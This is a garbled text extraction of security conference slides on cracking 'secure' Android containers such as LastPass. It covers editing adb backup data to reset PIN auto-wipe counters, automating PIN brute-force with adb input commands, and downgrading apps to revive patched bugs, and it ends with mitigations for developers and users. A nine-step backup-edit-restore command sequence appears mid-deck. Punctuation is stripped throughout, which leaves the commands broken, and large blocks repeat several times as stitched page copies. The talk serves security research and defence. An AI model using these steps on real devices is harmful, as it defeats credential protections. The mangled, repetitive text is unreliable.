Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 127: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 128: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
